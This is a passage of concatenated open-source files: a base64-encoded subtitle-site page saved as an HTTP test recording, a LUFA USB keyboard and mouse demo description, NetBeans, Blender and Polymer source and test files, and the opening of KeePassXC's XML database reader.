aXhmdXR1cmUubmV0L3cvMS4wL2Fmcj9hdWlkPTQxNzkxOSZjYj1JTlNFUlRfUkFORE9NX05VTUJF
Ul9IRVJFIiBmcmFtZWJvcmRlcj0iMCIgc2Nyb2xsaW5nPSJubyIgd2lkdGg9IjMwMCIgaGVpZ2h0
PSIyNTAiPjxhIGhyZWY9Imh0dHA6Ly9heC1kLnBpeGZ1dHVyZS5uZXQvdy8xLjAvcmM/Y3M9NTE5
MjVmNDIwYTYwMCZjYj1JTlNFUlRfUkFORE9NX05VTUJFUl9IRVJFIiA+PGltZyBzcmM9Imh0dHA6
Ly9heC1kLnBpeGZ1dHVyZS5uZXQvdy8xLjAvYWk/YXVpZD00MTc5MTkmY3M9NTE5MjVmNDIwYTYw
MCZjYj1JTlNFUlRfUkFORE9NX05VTUJFUl9IRVJFIiBib3JkZXI9IjAiIGFsdD0iIj48L2E+PC9p
ZnJhbWU+PC9ub3NjcmlwdD4KPC9kaXY+PGRpdiBjbGFzcz0iYm94dG9wIj48L2Rpdj4KICAgICAg
ICAgCTxkaXYgY2xhc3M9ImJveCI+CiAgICAgICAgICAgIDxwPjxpbWcgc3JjPSJpbWFnZXMvc3Rh
dGlzdGljcy5wbmciIGFsdD0iU2l0ZSBzdGF0aXN0aWNzIiB0aXRsZT0iU2l0ZSBzdGF0aXN0aWNz
IiBjbGFzcz0iaW1hZ2UiIC8+CiAgICAgICAgICAgIDxiPlNpdGUgc3RhdGlzdGljczwvYj48YnIg
Lz48dGFibGUgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz0wPjx0cj48dGQgYWxpZ249cmlnaHQ+
VG90YWwgc3VidGl0bGVzOjwvdGQ+PHRkPiAyODYzODY8L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1y
aWdodD5UViBTaG93czo8L3RkPjx0ZD4gMTc1NTwvdGQ+PC90cj48dHI+PHRkIGFsaWduPXJpZ2h0
PlRWIEVwaXNvZGVzOjwvdGQ+PHRkPiA1OTE2OTwvdGQ+PC90cj48dHI+PHRkIGFsaWduPXJpZ2h0
PkRvd25sb2Fkczo8L3RkPjx0ZD4gNDM1IDA2OCA1MDM8L3RkPjwvdHI+PC90YWJsZT48cCBzdHls
ZT0ibWFyZ2luLXRvcDowLjVlbSI+PGI+QW1vdW50IHN1YnRpdGxlcyBpbiBsYW5ndWFnZXM6PC9i
PjwvcD4KPHRhYmxlIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9MCB3aWR0aD05MCUgc3R5bGU9
Im1hcmdpbi10b3A6MC41ZW0iPjx0ZCBjbGFzcz0ic3RhdCI+PGltZyBzcmM9ImltYWdlcy9mbGFn
cy9lbi5naWYiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMiIgYWx0PSJlbmdsaXNoIiB0aXRsZT0iZW5n
bGlzaCIgYm9yZGVyPTA+IC0gNTEgNzc0PC90ZD48dGQgY2xhc3M9InN0YXQiPjxpbWcgc3JjPSJp
bWFnZXMvZmxhZ3MvZnIuZ2lmIiB3aWR0aD0iMTgiIGhlaWdodD0iMTIiIGFsdD0iZnJlbmNoIiB0
aXRsZT0iZnJlbmNoIiBib3JkZXI9MD4gLSA0MiAxOTI8L3RkPjx0ZCBjbGFzcz0ic3RhdCI+PGlt
ZyBzcmM9ImltYWdlcy9mbGFncy9nci5naWYiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMiIgYWx0PSJn
cmVlayIgdGl0bGU9ImdyZWVrIiBib3JkZXI9MD4gLSA0MSAyMDQ8L3RkPjwvdHI+PHRyPjx0ZCBj
bGFzcz0ic3RhdCI+PGltZyBzcmM9ImltYWdlcy9mbGFncy9wdC5naWYiIHdpZHRoPSIxOCIgaGVp
Z2h0PSIxMiIgYWx0PSJwb3J0dWd1ZXNlIiB0aXRsZT0icG9ydHVndWVzZSIgYm9yZGVyPTA+IC0g
MjUgMjYyPC90ZD48dGQgY2xhc3M9InN0YXQiPjxpbWcgc3JjPSJpbWFnZXMvZmxhZ3MvaHUuZ2lm
IiB3aWR0aD0iMTgiIGhlaWdodD0iMTIiIGFsdD0iaHVuZ2FyaWFuIiB0aXRsZT0iaHVuZ2FyaWFu
IiBib3JkZXI9MD4gLSAxOSA0MjE8L3RkPjx0ZCBjbGFzcz0ic3RhdCI+PGltZyBzcmM9ImltYWdl
cy9mbGFncy9ici5naWYiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMiIgYWx0PSJwb3J0dWd1ZXNlKGJy
KSIgdGl0bGU9InBvcnR1Z3Vlc2UoYnIpIiBib3JkZXI9MD4gLSAxOSAwMjM8L3RkPjwvdHI+PHRy
Pjx0ZCBjbGFzcz0ic3RhdCI+PGltZyBzcmM9ImltYWdlcy9mbGFncy9ydS5naWYiIHdpZHRoPSIx
OCIgaGVpZ2h0PSIxMiIgYWx0PSJydXNzaWFuIiB0aXRsZT0icnVzc2lhbiIgYm9yZGVyPTA+IC0g
MTYgMDU5PC90ZD48dGQgY2xhc3M9InN0YXQiPjxpbWcgc3JjPSJpbWFnZXMvZmxhZ3MvZXMuZ2lm
IiB3aWR0aD0iMTgiIGhlaWdodD0iMTIiIGFsdD0ic3BhbmlzaCIgdGl0bGU9InNwYW5pc2giIGJv
cmRlcj0wPiAtIDEzIDU3MzwvdGQ+PHRkIGNsYXNzPSJzdGF0Ij48aW1nIHNyYz0iaW1hZ2VzL2Zs
YWdzL3BsLmdpZiIgd2lkdGg9IjE4IiBoZWlnaHQ9IjEyIiBhbHQ9InBvbGlzaCIgdGl0bGU9InBv
bGlzaCIgYm9yZGVyPTA+IC0gMTIgOTU0PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9InN0YXQiPjxp
bWcgc3JjPSJpbWFnZXMvZmxhZ3Mvcm8uZ2lmIiB3aWR0aD0iMTgiIGhlaWdodD0iMTIiIGFsdD0i
cm9tYW5pYW4iIHRpdGxlPSJyb21hbmlhbiIgYm9yZGVyPTA+IC0gMTIgNzg0PC90ZD48dGQgY2xh
c3M9InN0YXQiPjxpbWcgc3JjPSJpbWFnZXMvZmxhZ3MvaXQuZ2lmIiB3aWR0aD0iMTgiIGhlaWdo
dD0iMTIiIGFsdD0iaXRhbGlhbiIgdGl0bGU9Iml0YWxpYW4iIGJvcmRlcj0wPiAtIDcgNDE1PC90
ZD48dGQgY2xhc3M9InN0YXQiPjxpbWcgc3JjPSJpbWFnZXMvZmxhZ3MvYmcuZ2lmIiB3aWR0aD0i
MTgiIGhlaWdodD0iMTIiIGFsdD0iYnVsZ2FyaWFuIiB0aXRsZT0iYnVsZ2FyaWFuIiBib3JkZXI9
MD4gLSA1IDczNTwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSJzdGF0Ij48aW1nIHNyYz0iaW1hZ2Vz
L2ZsYWdzL25sLmdpZiIgd2lkdGg9IjE4IiBoZWlnaHQ9IjEyIiBhbHQ9ImR1dGNoICIgdGl0bGU9
ImR1dGNoICIgYm9yZGVyPTA+IC0gNSAzNzk8L3RkPjx0ZCBjbGFzcz0ic3RhdCI+PGltZyBzcmM9
ImltYWdlcy9mbGFncy90ci5naWYiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMiIgYWx0PSJ0dXJraXNo
IiB0aXRsZT0idHVya2lzaCIgYm9yZGVyPTA+IC0gNCAzNjU8L3RkPjx0ZCBjbGFzcz0ic3RhdCI+
PGltZyBzcmM9ImltYWdlcy9mbGFncy9kZS5naWYiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMiIgYWx0
PSJnZXJtYW4iIHRpdGxlPSJnZXJtYW4iIGJvcmRlcj0wPiAtIDMgODI3PC90ZD48L3RyPjx0cj48
dGQgY2xhc3M9InN0YXQiPjxpbWcgc3JjPSJpbWFnZXMvZmxhZ3MvYXIuZ2lmIiB3aWR0aD0iMTgi
IGhlaWdodD0iMTIiIGFsdD0iYXJhYmljIiB0aXRsZT0iYXJhYmljIiBib3JkZXI9MD4gLSAyIDA2
MDwvdGQ+PHRkIGNsYXNzPSJzdGF0Ij48aW1nIHNyYz0iaW1hZ2VzL2ZsYWdzL3VhLmdpZiIgd2lk
dGg9IjE4IiBoZWlnaHQ9IjEyIiBhbHQ9InVrcmFpbmlhbiIgdGl0bGU9InVrcmFpbmlhbiIgYm9y
ZGVyPTA+IC0gMSAxNTk8L3RkPjx0ZCBjbGFzcz0ic3RhdCI+PGltZyBzcmM9ImltYWdlcy9mbGFn
cy9rby5naWYiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMiIgYWx0PSJrb3JlYW4iIHRpdGxlPSJrb3Jl
YW4iIGJvcmRlcj0wPiAtIDczMjwvdGQ+PC90cj48dHI+PC90YWJsZT48L3A+PHAgc3R5bGU9Im1h
cmdpbi10b3A6MC41ZW0iPjxiPkRvd25sb2Fkczo8L2I+PC9wPgo8dGFibGUgY2VsbHNwYWNpbmc9
MCBjZWxscGFkZGluZz0wIHdpZHRoPTkwJSBzdHlsZT0ibWFyZ2luLXRvcDowLjVlbSI+PHRkIGNs
YXNzPSJzdGF0Ij48aW1nIHNyYz0iaW1hZ2VzL2ZsYWdzL2VuLmdpZiIgd2lkdGg9IjE4IiBoZWln
aHQ9IjEyIiBhbHQ9ImVuZ2xpc2giIHRpdGxlPSJlbmdsaXNoIiBib3JkZXI9MD4gLSAxNTQuMSBt
aWw8L3RkPjx0ZCBjbGFzcz0ic3RhdCI+PGltZyBzcmM9ImltYWdlcy9mbGFncy9mci5naWYiIHdp
ZHRoPSIxOCIgaGVpZ2h0PSIxMiIgYWx0PSJmcmVuY2giIHRpdGxlPSJmcmVuY2giIGJvcmRlcj0w
PiAtIDExNi44IG1pbDwvdGQ+PHRkIGNsYXNzPSJzdGF0Ij48aW1nIHNyYz0iaW1hZ2VzL2ZsYWdz
L2dyLmdpZiIgd2lkdGg9IjE4IiBoZWlnaHQ9IjEyIiBhbHQ9ImdyZWVrIiB0aXRsZT0iZ3JlZWsi
IGJvcmRlcj0wPiAtIDU0Ljg1IG1pbDwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSJzdGF0Ij48aW1n
IHNyYz0iaW1hZ2VzL2ZsYWdzL3J1LmdpZiIgd2lkdGg9IjE4IiBoZWlnaHQ9IjEyIiBhbHQ9InJ1
c3NpYW4iIHRpdGxlPSJydXNzaWFuIiBib3JkZXI9MD4gLSAxNi4zNSBtaWw8L3RkPjx0ZCBjbGFz
cz0ic3RhdCI+PGltZyBzcmM9ImltYWdlcy9mbGFncy9ici5naWYiIHdpZHRoPSIxOCIgaGVpZ2h0
PSIxMiIgYWx0PSJwb3J0dWd1ZXNlKGJyKSIgdGl0bGU9InBvcnR1Z3Vlc2UoYnIpIiBib3JkZXI9
MD4gLSAxNS45NiBtaWw8L3RkPjx0ZCBjbGFzcz0ic3RhdCI+PGltZyBzcmM9ImltYWdlcy9mbGFn
cy9lcy5naWYiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMiIgYWx0PSJzcGFuaXNoIiB0aXRsZT0ic3Bh
bmlzaCIgYm9yZGVyPTA+IC0gMTEuODUgbWlsPC90ZD48L3RyPjx0cj48dGQgY2xhc3M9InN0YXQi
PjxpbWcgc3JjPSJpbWFnZXMvZmxhZ3MvcHQuZ2lmIiB3aWR0aD0iMTgiIGhlaWdodD0iMTIiIGFs
dD0icG9ydHVndWVzZSIgdGl0bGU9InBvcnR1Z3Vlc2UiIGJvcmRlcj0wPiAtIDExLjA0IG1pbDwv
dGQ+PHRkIGNsYXNzPSJzdGF0Ij48aW1nIHNyYz0iaW1hZ2VzL2ZsYWdzL2h1LmdpZiIgd2lkdGg9
IjE4IiBoZWlnaHQ9IjEyIiBhbHQ9Imh1bmdhcmlhbiIgdGl0bGU9Imh1bmdhcmlhbiIgYm9yZGVy
PTA+IC0gMTAuNjkgbWlsPC90ZD48dGQgY2xhc3M9InN0YXQiPjxpbWcgc3JjPSJpbWFnZXMvZmxh
Z3MvcGwuZ2lmIiB3aWR0aD0iMTgiIGhlaWdodD0iMTIiIGFsdD0icG9saXNoIiB0aXRsZT0icG9s
aXNoIiBib3JkZXI9MD4gLSA3LjU2IG1pbDwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSJzdGF0Ij48
aW1nIHNyYz0iaW1hZ2VzL2ZsYWdzL2l0LmdpZiIgd2lkdGg9IjE4IiBoZWlnaHQ9IjEyIiBhbHQ9
Iml0YWxpYW4iIHRpdGxlPSJpdGFsaWFuIiBib3JkZXI9MD4gLSA2LjY1IG1pbDwvdGQ+PHRkIGNs
YXNzPSJzdGF0Ij48aW1nIHNyYz0iaW1hZ2VzL2ZsYWdzL3JvLmdpZiIgd2lkdGg9IjE4IiBoZWln
aHQ9IjEyIiBhbHQ9InJvbWFuaWFuIiB0aXRsZT0icm9tYW5pYW4iIGJvcmRlcj0wPiAtIDUuMDUg
bWlsPC90ZD48dGQgY2xhc3M9InN0YXQiPjxpbWcgc3JjPSJpbWFnZXMvZmxhZ3MvYmcuZ2lmIiB3
aWR0aD0iMTgiIGhlaWdodD0iMTIiIGFsdD0iYnVsZ2FyaWFuIiB0aXRsZT0iYnVsZ2FyaWFuIiBi
b3JkZXI9MD4gLSA0LjI4IG1pbDwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSJzdGF0Ij48aW1nIHNy
Yz0iaW1hZ2VzL2ZsYWdzL2RlLmdpZiIgd2lkdGg9IjE4IiBoZWlnaHQ9IjEyIiBhbHQ9Imdlcm1h
biIgdGl0bGU9Imdlcm1hbiIgYm9yZGVyPTA+IC0gNC4xMiBtaWw8L3RkPjx0ZCBjbGFzcz0ic3Rh
dCI+PGltZyBzcmM9ImltYWdlcy9mbGFncy91YS5naWYiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMiIg
YWx0PSJ1a3JhaW5pYW4iIHRpdGxlPSJ1a3JhaW5pYW4iIGJvcmRlcj0wPiAtIDQuMDkgbWlsPC90
ZD48dGQgY2xhc3M9InN0YXQiPjxpbWcgc3JjPSJpbWFnZXMvZmxhZ3MvbmwuZ2lmIiB3aWR0aD0i
MTgiIGhlaWdodD0iMTIiIGFsdD0iZHV0Y2ggIiB0aXRsZT0iZHV0Y2ggIiBib3JkZXI9MD4gLSAz
LjcyIG1pbDwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSJzdGF0Ij48aW1nIHNyYz0iaW1hZ2VzL2Zs
YWdzL3RyLmdpZiIgd2lkdGg9IjE4IiBoZWlnaHQ9IjEyIiBhbHQ9InR1cmtpc2giIHRpdGxlPSJ0
dXJraXNoIiBib3JkZXI9MD4gLSAyLjcxIG1pbDwvdGQ+PHRkIGNsYXNzPSJzdGF0Ij48aW1nIHNy
Yz0iaW1hZ2VzL2ZsYWdzL2FyLmdpZiIgd2lkdGg9IjE4IiBoZWlnaHQ9IjEyIiBhbHQ9ImFyYWJp
YyIgdGl0bGU9ImFyYWJpYyIgYm9yZGVyPTA+IC0gMS43NiBtaWw8L3RkPjx0ZCBjbGFzcz0ic3Rh
dCI+PGltZyBzcmM9ImltYWdlcy9mbGFncy9jei5naWYiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMiIg
YWx0PSJjemVjaCIgdGl0bGU9ImN6ZWNoIiBib3JkZXI9MD4gLSAxLjIzIG1pbDwvdGQ+PC90cj48
dHI+PC90YWJsZT48L3A+CiAgICAgICAgIDwvZGl2PjxjZW50ZXI+PGEgaHJlZj0ic2hvd3Jzcy5w
aHAiPjxpbWcgc3JjPSJpbWFnZXMvcnNzLnBuZyIgd2lkdGg9IjU1IiBoZWlnaHQ9IjI0IiBhbHQ9
InJzcyBjaGFubmVsIiBib3JkZXI9IjAiPjwvYT48YnIgLz4KPCEtLUxpdmVJbnRlcm5ldCBjb3Vu
dGVyLS0+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwhLS0KZG9jdW1lbnQud3JpdGUo
IjxhIHN0eWxlPSdib3JkZXI6MCcgaHJlZj0naHR0cDovL3d3dy5saXZlaW50ZXJuZXQucnUvY2xp
Y2snICIrCiJ0YXJnZXQ9X2JsYW5rPjxpbWcgIHN0eWxlPSdib3JkZXI6MCcgc3JjPSdodHRwOi8v
Y291bnRlci55YWRyby5ydS9oaXQ/dDE0LjU7ciIrCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikr
KCh0eXBlb2Yoc2NyZWVuKT09InVuZGVmaW5lZCIpPyIiOgoiO3MiK3NjcmVlbi53aWR0aCsiKiIr
c2NyZWVuLmhlaWdodCsiKiIrKHNjcmVlbi5jb2xvckRlcHRoPwpzY3JlZW4uY29sb3JEZXB0aDpz
Y3JlZW4ucGl4ZWxEZXB0aCkpKyI7dSIrZXNjYXBlKGRvY3VtZW50LlVSTCkrCiI7aCIrZXNjYXBl
KGRvY3VtZW50LnRpdGxlLnN1YnN0cmluZygwLDgwKSkrIjsiK01hdGgucmFuZG9tKCkrCiInIGFs
dD0nJyB0aXRsZT0nTGl2ZUludGVybmV0OiDv7urg5+Dt7iD36PHr7iDv8O7x7O7y8O7iIOfgIDI0
IisKIiD34PHgLCDv7vHl8ujy5evl6SDn4CAyNCD34PHgIOgg5+Ag8eXj7uTt/ycgIisKImJvcmRl
cj0wIHdpZHRoPTg4IGhlaWdodD0zMT48XC9hPiIpLy8tLT48L3NjcmlwdD48IS0tL0xpdmVJbnRl
cm5ldC0tPgo8L2NlbnRlcj48L2Rpdj4KPGRpdiBjbGFzcz0iZm9vdGVyIj48ZGl2IGFsaWduPSJj
ZW50ZXIiIHN0eWxlPSJoZWlnaHQ6MXB4OyBvdmVyZmxvdzpoaWRkZW4iPjxzbWFsbD48L3NtYWxs
PjwvZGl2PjxkaXYgc3R5bGU9ImZvbnQtc2l6ZToxMHB4OyBsaW5lLWhlaWdodDoxMHB4OyBjb2xv
cjojQzBDMEMwOyBoZWlnaHQ6MTBweDsgb3ZlcmZsb3c6aGlkZGVuICI+PGEgaHJlZj0iaHR0cDov
L3d3dy5wcmltZXNvbi5ydS8iPnByaW1lc29uCjwvYT48L2Rpdj4mY29weTsgQ29weXJpZ2h0IDIw
MTYgVFZzdWJ0aXRsZXMubmV0LiBQYWdlIGdlbmVyYXRpb24gMC4wMDMgc2Vjb25kcy4KICAgICAg
PC9kaXY+CiAgIDwvZGl2PgoJPC9ib2R5PgoJPC9odG1sPgo=
headers:
cache-control: [no-cache]
connection: [close]
content-type: [text/html; charset=utf-8]
date: ['Tue, 09 Feb 2016 14:38:05 GMT']
server: [Apache/2.2.15 (CentOS)]
set-cookie: ['visited=1; expires=Wed, 10-Feb-2016 02:38:05 GMT']
x-powered-by: [PHP/5.3.3]
status: {code: 200, message: OK}
version: 1
|
{
"pile_set_name": "Github"
}
|
/** \file
*
* This file contains special DoxyGen information for the generation of the main page and other special
* documentation pages. It is not a project source file.
*/
/** \mainpage Dual HID Keyboard and Mouse Device Demo
*
* \section Sec_Compat Demo Compatibility:
*
* The following list indicates what microcontrollers are compatible with this demo.
*
* - Series 7 USB AVRs (AT90USBxxx7)
* - Series 6 USB AVRs (AT90USBxxx6)
* - Series 4 USB AVRs (ATMEGAxxU4)
* - Series 2 USB AVRs (AT90USBxx2, ATMEGAxxU2)
*
* \section Sec_Info USB Information:
*
* The following table gives a rundown of the USB utilization of this demo.
*
* <table>
* <tr>
* <td><b>USB Mode:</b></td>
* <td>Device</td>
* </tr>
* <tr>
* <td><b>USB Class:</b></td>
* <td>Human Interface Device (HID)</td>
* </tr>
* <tr>
* <td><b>USB Subclass:</b></td>
* <td>N/A</td>
* </tr>
* <tr>
* <td><b>Relevant Standards:</b></td>
* <td>USBIF HID Specification \n
* USBIF HID Usage Tables</td>
* </tr>
* <tr>
* <td><b>Usable Speeds:</b></td>
* <td>Low Speed Mode \n
* Full Speed Mode</td>
* </tr>
* </table>
*
* \section Sec_Description Project Description:
*
* Keyboard/Mouse demonstration application. This gives a simple reference
* application for implementing a composite device containing both USB Keyboard
* and USB Mouse functionality using the basic USB HID drivers in all modern OSes
* (i.e. no special drivers required). This example uses two separate HID
* interfaces for each function. It is boot protocol compatible, and thus works under
* compatible BIOS as if it was a native keyboard and mouse (e.g. PS/2).
*
* On start-up the system will automatically enumerate and function
* as a keyboard when the USB connection to a host is present and the HWB is not
* pressed. When enabled, manipulate the joystick to send the letters
* a, b, c, d and e. See the USB HID documentation for more information
* on sending keyboard event and key presses.
*
* When the HWB is pressed, the mouse mode is enabled. When enabled, move the
* joystick to move the pointer, and push the joystick inwards to simulate a
* left-button click.
*
* \section Sec_Options Project Options
*
* The following defines can be found in this demo, which can control the demo behaviour when defined, or changed in value.
*
* <table>
* <tr>
* <td>
* None
* </td>
* </tr>
* </table>
*/
|
{
"pile_set_name": "Github"
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.modules.web.common.cssprep;
import org.netbeans.modules.web.common.api.CssPreprocessor;
import org.netbeans.modules.web.common.spi.CssPreprocessorImplementation;
public abstract class CssPreprocessorAccessor {
private static volatile CssPreprocessorAccessor accessor;
public static synchronized CssPreprocessorAccessor getDefault() {
if (accessor != null) {
return accessor;
}
Class<?> c = CssPreprocessor.class;
try {
Class.forName(c.getName(), true, c.getClassLoader());
} catch (ClassNotFoundException ex) {
assert false : ex;
}
assert accessor != null;
return accessor;
}
public static void setDefault(CssPreprocessorAccessor accessor) {
if (CssPreprocessorAccessor.accessor != null) {
throw new IllegalStateException("Already initialized accessor");
}
CssPreprocessorAccessor.accessor = accessor;
}
public abstract CssPreprocessor create(CssPreprocessorImplementation cssPreprocessorImplementation);
}
|
{
"pile_set_name": "Github"
}
|
/*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/** \file
* \ingroup wm
*
* Panel Registry.
*
* \note Unlike menu, and other registries, this doesn't *own* the PanelType.
*
* For popups/popovers only, regions handle panel types by including them in local lists.
*/
#include <stdio.h>
#include "BLI_sys_types.h"
#include "DNA_windowmanager_types.h"
#include "BLI_utildefines.h"
#include "BLI_ghash.h"
#include "BKE_screen.h"
#include "WM_api.h"
static GHash *g_paneltypes_hash = NULL;
PanelType *WM_paneltype_find(const char *idname, bool quiet)
{
PanelType *pt;
if (idname[0]) {
pt = BLI_ghash_lookup(g_paneltypes_hash, idname);
if (pt) {
return pt;
}
}
if (!quiet) {
printf("search for unknown paneltype %s\n", idname);
}
return NULL;
}
bool WM_paneltype_add(PanelType *pt)
{
BLI_ghash_insert(g_paneltypes_hash, pt->idname, pt);
return true;
}
void WM_paneltype_remove(PanelType *pt)
{
bool ok;
ok = BLI_ghash_remove(g_paneltypes_hash, pt->idname, NULL, NULL);
BLI_assert(ok);
(void)ok;
}
/* called on initialize WM_init() */
void WM_paneltype_init(void)
{
/* reserve size is set based on blender default setup */
g_paneltypes_hash = BLI_ghash_str_new_ex("g_paneltypes_hash gh", 512);
}
void WM_paneltype_clear(void)
{
BLI_ghash_free(g_paneltypes_hash, NULL, NULL);
}
|
{
"pile_set_name": "Github"
}
|
<!doctype html>
<!--
@license
Copyright (c) 2015 The Polymer Project Authors. All rights reserved.
This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt
The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt
The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt
Code distributed by Google as part of the polymer project is also
subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt
-->
<html>
<head>
<title>iron-selector-selected-attribute</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
<script src="../../webcomponentsjs/webcomponents-lite.js"></script>
<script src="../../web-component-tester/browser.js"></script>
<script src="../../test-fixture/test-fixture-mocha.js"></script>
<link rel="import" href="../../test-fixture/test-fixture.html">
<link rel="import" href="../iron-selector.html">
</head>
<body>
<test-fixture id="test1">
<template>
<iron-selector>
<div>Item 0</div>
<div>Item 1</div>
<div>Item 2</div>
<span>Item 3</span>
</iron-selector>
</template>
</test-fixture>
<test-fixture id="test2">
<template>
<iron-selector>
<div>Item 0</div>
<div>Item 1</div>
<div>Item 2</div>
<p>Item 3</p>
</iron-selector>
</template>
</test-fixture>
<script>
suite('excluded local names', function() {
var test1, test2;
setup(function () {
test1 = fixture('test1');
test2 = fixture('test2');
});
test('default `_excludedLocalNames`', function() {
assert.isTrue('template' in test1._excludedLocalNames);
assert.isTrue('template' in test2._excludedLocalNames);
});
test('custom `_excludedLocalNames`', function() {
test1._excludedLocalNames.foo = 1;
assert.isTrue('foo' in test1._excludedLocalNames);
assert.isFalse('foo' in test2._excludedLocalNames);
});
test('items', function(done) {
test1._excludedLocalNames.span = 1;
test2._excludedLocalNames.div = 1;
test1._updateItems();
test2._updateItems();
Polymer.Base.async(function() {
var NOT_FOUND = -1;
var items1 = test1.items.map(function(el) { return el.localName; });
var items2 = test2.items.map(function(el) { return el.localName; });
assert.equal(items1.indexOf('span'), NOT_FOUND);
assert.equal(items2.indexOf('div'), NOT_FOUND);
done();
});
});
});
</script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (C) 2010 Felix Geyer <debfx@fobos.de>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 or (at your option)
* version 3 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "KeePass2XmlReader.h"
#include <QBuffer>
#include <QFile>
#include "core/Database.h"
#include "core/DatabaseIcons.h"
#include "core/Group.h"
#include "core/Metadata.h"
#include "core/Tools.h"
#include "format/KeePass2RandomStream.h"
#include "streams/QtIOCompressor"
typedef QPair<QString, QString> StringPair;
KeePass2XmlReader::KeePass2XmlReader()
: m_randomStream(nullptr)
, m_db(nullptr)
, m_meta(nullptr)
, m_tmpParent(nullptr)
, m_error(false)
, m_strictMode(false)
{
}
void KeePass2XmlReader::setStrictMode(bool strictMode)
{
m_strictMode = strictMode;
}
void KeePass2XmlReader::readDatabase(QIODevice* device, Database* db, KeePass2RandomStream* randomStream)
{
m_error = false;
m_errorStr.clear();
m_xml.clear();
m_xml.setDevice(device);
m_db = db;
m_meta = m_db->metadata();
m_meta->setUpdateDatetime(false);
m_randomStream = randomStream;
m_headerHash.clear();
m_tmpParent = new Group();
bool rootGroupParsed = false;
if (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "KeePassFile") {
rootGroupParsed = parseKeePassFile();
}
}
if (!m_xml.error() && !rootGroupParsed) {
raiseError("No root group");
}
if (!m_xml.error()) {
if (!m_tmpParent->children().isEmpty()) {
qWarning("KeePass2XmlReader::readDatabase: found %d invalid group reference(s)",
m_tmpParent->children().size());
}
if (!m_tmpParent->entries().isEmpty()) {
qWarning("KeePass2XmlReader::readDatabase: found %d invalid entry reference(s)",
m_tmpParent->children().size());
}
}
const QSet<QString> poolKeys = m_binaryPool.keys().toSet();
const QSet<QString> entryKeys = m_binaryMap.keys().toSet();
const QSet<QString> unmappedKeys = entryKeys - poolKeys;
const QSet<QString> unusedKeys = poolKeys - entryKeys;
if (!unmappedKeys.isEmpty()) {
raiseError("Unmapped keys left.");
}
if (!m_xml.error()) {
for (const QString& key : unusedKeys) {
qWarning("KeePass2XmlReader::readDatabase: found unused key \"%s\"", qPrintable(key));
}
}
QHash<QString, QPair<Entry*, QString> >::const_iterator i;
for (i = m_binaryMap.constBegin(); i != m_binaryMap.constEnd(); ++i) {
const QPair<Entry*, QString>& target = i.value();
target.first->attachments()->set(target.second, m_binaryPool[i.key()]);
}
m_meta->setUpdateDatetime(true);
QHash<Uuid, Group*>::const_iterator iGroup;
for (iGroup = m_groups.constBegin(); iGroup != m_groups.constEnd(); ++iGroup) {
iGroup.value()->setUpdateTimeinfo(true);
}
QHash<Uuid, Entry*>::const_iterator iEntry;
for (iEntry = m_entries.constBegin(); iEntry != m_entries.constEnd(); ++iEntry) {
iEntry.value()->setUpdateTimeinfo(true);
const QList<Entry*> historyItems = iEntry.value()->historyItems();
for (Entry* histEntry : historyItems) {
histEntry->setUpdateTimeinfo(true);
}
}
delete m_tmpParent;
}
Database* KeePass2XmlReader::readDatabase(QIODevice* device)
{
Database* db = new Database();
readDatabase(device, db);
return db;
}
Database* KeePass2XmlReader::readDatabase(const QString& filename)
{
QFile file(filename);
file.open(QIODevice::ReadOnly);
return readDatabase(&file);
}
bool KeePass2XmlReader::hasError()
{
return m_error || m_xml.hasError();
}
QString KeePass2XmlReader::errorString()
{
if (m_error) {
return m_errorStr;
}
else if (m_xml.hasError()) {
return QString("XML error:\n%1\nLine %2, column %3")
